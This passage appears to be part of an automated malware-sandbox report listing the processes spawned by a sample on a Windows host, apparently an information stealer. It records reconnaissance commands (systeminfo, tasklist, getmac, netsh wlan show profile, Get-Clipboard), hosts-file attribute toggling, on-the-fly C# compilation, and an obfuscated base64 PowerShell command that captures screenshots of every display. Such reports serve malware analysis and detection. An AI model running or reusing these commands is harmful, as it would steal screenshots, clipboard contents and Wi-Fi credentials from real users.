MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "systeminfo"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	16:10:48
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	16:10:49
Start date:	19/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6c98f0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	16:10:49
Start date:	19/12/2024
Path:	C:\Windows\System32\systeminfo.exe
Wow64 process (32bit):	false
Commandline:	systeminfo
Imagebase:	0x7ff60c800000
File size:	110'080 bytes
MD5 hash:	EE309A9C61511E907D87B10EF226FDCD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	16:10:49
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-Clipboard
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	16:10:49
Start date:	19/12/2024
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FO LIST
Imagebase:	0x7ff6d7870000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	16:10:49
Start date:	19/12/2024
Path:	C:\Windows\System32\netsh.exe
Wow64 process (32bit):	false
Commandline:	netsh wlan show profile
Imagebase:	0x7ff75bcf0000
File size:	96'768 bytes
MD5 hash:	6F1E6DD688818BC3D1391D0CC7D597EB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	16:10:49
Start date:	19/12/2024
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
Imagebase:	0x7ff6db890000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	16:10:50
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	16:10:50
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	16:10:51
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	16:10:51
Start date:	19/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6c98f0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	16:10:51
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	16:10:51
Start date:	19/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	16:10:52
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	16:10:52
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	16:10:52
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	16:10:52
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	16:10:52
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib -r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff7a3bb0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	16:10:52
Start date:	19/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6c98f0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline"
Imagebase:	0x7ff6cc730000
File size:	2'759'232 bytes
MD5 hash:	F65B029562077B648A6A5F6A1AA76A66
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "getmac"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tree /A /F"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	67
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\tree.com
Wow64 process (32bit):	false
Commandline:	tree /A /F
Imagebase:	0x7ff6c98f0000
File size:	20'992 bytes
MD5 hash:	9EB969EF56718A6243BF60350CD065F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\getmac.exe
Wow64 process (32bit):	false
Commandline:	getmac
Imagebase:	0x7ff667a60000
File size:	90'112 bytes
MD5 hash:	7D4B72DFF5B8E98DD1351A401E402C33
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	16:10:53
Start date:	19/12/2024
Path:	C:\Windows\System32\attrib.exe
Wow64 process (32bit):	false
Commandline:	attrib +r C:\Windows\System32\drivers\etc\hosts
Imagebase:	0x7ff7a3bb0000
File size:	23'040 bytes
MD5 hash:	5037D8E6670EF1D89FB6AD435F12A9FD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	16:10:54
Start date:	19/12/2024
Path:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2DEF.tmp" "c:\Users\user\AppData\Local\Temp\l2sopuet\CSC2774EC596431493C9BAB8956CFD3669.TMP"
Imagebase:	0x7ff7b3a80000
File size:	52'744 bytes
MD5 hash:	C877CBB966EA5939AA2A17B6A5160950
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	73
Start time:	16:10:54
Start date:	19/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
Imagebase:	0x7ff650120000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	16:10:54
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	16:10:54
Start date:	19/12/2024
